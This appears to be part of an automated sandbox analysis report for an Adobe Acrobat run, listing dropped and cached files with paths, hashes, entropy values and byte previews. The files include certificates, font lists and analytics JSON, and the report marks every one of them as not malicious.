SHA-512:	523BC52C5F552A2B32817B9223F60DE96CF5820DF51C5D4AF8D47767F180B29D0FCBBEB69EE69EC56849487167F1B1BB5AFCFEF7096A9818628B48C679C45FDC
Malicious:	false
Preview:	.... .c.......P................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklLkSKNttfllXlE/HT8k/J1NNX8RolJuRdxLlGB9lQRYwpDdt:kKXPteT80J7NMa8RdWBwRd
MD5:	3EFA9427AD2EC67B797C6D5663761BB1
SHA1:	73AC7E8974680BC7FAA288339E30E2D94C5FDB96
SHA-256:	0EB886476967821D1EE4755363B828B3D4379E92273040E1C5EBD55D9DDFB201
SHA-512:	1C611AF6B5F0092B9DD3AC982891D3D821646F19AFA3300A3A86D934F2CE532602B678858766A446D47E0B5C52AF8779AFCE7972ED724FA0488B29846AB16098
Malicious:	false
Preview:	p...... ........x.~q.c..(....................................................... ..........W....m...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKu/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WiDImsLNkPlE99SNxAhUe/3
MD5:	B4849F30ED73C640DF9F990AAFA1C76A
SHA1:	A4357F607B2AA2D066F94A63F64961D47881861A
SHA-256:	6CAD692AAEC2881368B31571EBB2AEA71DCCFEA1B1846E7711260A3BBB845292
SHA-512:	9BF06C8372033F211D9232013492A1C55C0344B09D6DB558D5EB261C6B95A4D14E4AAAB0FBD768DD35B57E4F2AB0CCAE5784CE07A641783CFEFB85B9093753DD
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7912

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7912

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33736122924769
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJM3g98kUwPeUkwRe9:YvXKXB4/4UTbdbOGMbLUkee9
MD5:	F093928616491252F629A54DEC0F901D
SHA1:	8938B131521B2DBDB49B2DDC5E4056CC83EADDA2
SHA-256:	DA189A17E636D7F9B9780112915079E9D390F161C373D97E50B0AFC57BF36FCB
SHA-512:	8A09CD37D7610DEDB2CC990DE3C5CBF2088AC3D902D89896EF8457F893639B8689A4D26BF8A980C216D782D77DB4C21EE71EACFDC48BB29FEDA39B8E8138ECD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272281389659456
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfBoTfXpnrPeUkwRe9:YvXKXB4/4UTbdbOGWTfXcUkee9
MD5:	EB756694D8F3DFACFDFED94132DD78BF
SHA1:	C52951C2F84387470AEDADA6C177708DC9277F7C
SHA-256:	281CEDCB8CFF9A947F5725FF7B467F33C7807A378EFE2CA0AEE4075C03599A83
SHA-512:	E761CAE309B8F2F98F287D066D00D45E1D7484CE7752B46E5C0ECE17E526CC483DB5AF0C4586137E3195500C56B289AA820F9788B7F269D029C8C86311CA7B55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250042460031282
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfBD2G6UpnrPeUkwRe9:YvXKXB4/4UTbdbOGR22cUkee9
MD5:	855713CCD14691066D09735586252079
SHA1:	858EC7DBD09741702EBCF6F1156FBBC2571F78DB
SHA-256:	24C514C33E8BDE0C9B884A141514B050D8E0FA24B4FCC29A609C05ABC33E02A7
SHA-512:	BC2AA983F381F6F042B1551FC18C6AC6F836A49A78AB653E5079E9BF3FF8C974649C53142330447343F4A09D2018868F48D5A4061D8CD6CE32079115F1B05D92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.310727582748226
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfPmwrPeUkwRe9:YvXKXB4/4UTbdbOGH56Ukee9
MD5:	47B76497807351EB80FB5BC2B2E29339
SHA1:	E0807503C807A71E7A8CE6D080597C167F760049
SHA-256:	E975E88CE8E31CA5BEC74CB76784B0135BD93F3C7D68B7F5E6FC7475A05D5878
SHA-512:	763DDF489E522E73A70FC8FF0DAE1585319D016A261E8C7A169BFEFF5946988CF6350E6BD2E04C197300D7BC03CB4A0A5027B28975444A701EC1123B1D599854
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687869258892265
Encrypted:	false
SSDEEP:	24:Yv6XB4gUX1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSL:YvK4gw1hgy6SAFv5Ah8cv/L
MD5:	6974FFB3B08AB67308752D9C26ED5BC3
SHA1:	82C1B700DC6B1D25B985A486C96A421434F75044
SHA-256:	23E3677CC25B09DFE569080102676090386D9632D7467D88992E214445819FE5
SHA-512:	9D92413899378DD0CC568C9B83A0F99DDE62750977D84125B2A4A033EC21EE56EA20BF4D61CB50B39FE706EE8AA97EC4DE1622F2007566FBD8C0FE6EE434ABE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252050380382495
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJf8dPeUkwRe9:YvXKXB4/4UTbdbOGU8Ukee9
MD5:	EF3B341857457FB4266CF485C6FD6D6F
SHA1:	AC86464AB7ED6086B1D97E4F8A82F6D2E03A6EA2
SHA-256:	9169B31737CD68076D1AB7C72730384A583CB7D7BD3EDE8B6E52EE99283DC9D3
SHA-512:	05620A49FCB6160B904EEB1DD6DA1E246F13367D7DB480AA3079459A0AE704D817726CBF33591ED8C48DA5270251896278E29F3D2D1C630054A054017A4569B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.255486064998962
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfQ1rPeUkwRe9:YvXKXB4/4UTbdbOGY16Ukee9
MD5:	CEFC9B96166A18C11D939F64D8800ADE
SHA1:	37F9B88C9DFBC3C3552BFCEEF8323B8228E3F498
SHA-256:	AD26197A5C514C101D748377AB8E4F3171DA6AF4034FA8EFA0D2B48904DCECEE
SHA-512:	405F1964FBFDDFF14F8DB28AD024DCE5E89044D2ACA054EDF20F3DBB33D2644E1EC9E0EF58A5A365945B7E86B54C0736DA5397581C2469167F3A272C374B406A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267728614864282
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfFldPeUkwRe9:YvXKXB4/4UTbdbOGz8Ukee9
MD5:	2C2E18FB576A64F7E128895388EC545E
SHA1:	F3CFD939BADCB7E62600416F832E0531C78D33F0
SHA-256:	E3EBC769037280572A04AAE25CB81260B886C4DA834434819D4AA5CB33B8FC15
SHA-512:	2FB80A12FDFA71702A0BCE9EFCB9BBD8B37380B351CEF2F98DCEBB0367A7E292C5F6B386E197A22BCA56A0F3A59A945A08A3418A3B21FCA02FA8E62602145BB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.27973906678194
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfzdPeUkwRe9:YvXKXB4/4UTbdbOGb8Ukee9
MD5:	AAC643B5EFEA72F7EE461976B8D05D28
SHA1:	34CF7130B49508813B63F4E1D6D02AE1D2C08252
SHA-256:	FA1C48AEF9C8A6640BC88E7116FDCECFF109DA2A1A492107D6020162B8924B21
SHA-512:	AD83B10F627E7F9612CECDE48553539799B73A6C29B1520F158EB02AF14E849DF95BD6F58DC99AF7114C93B049A71B948C99BE84D9FA2FB815803B2873BBE399
Malicious:	false
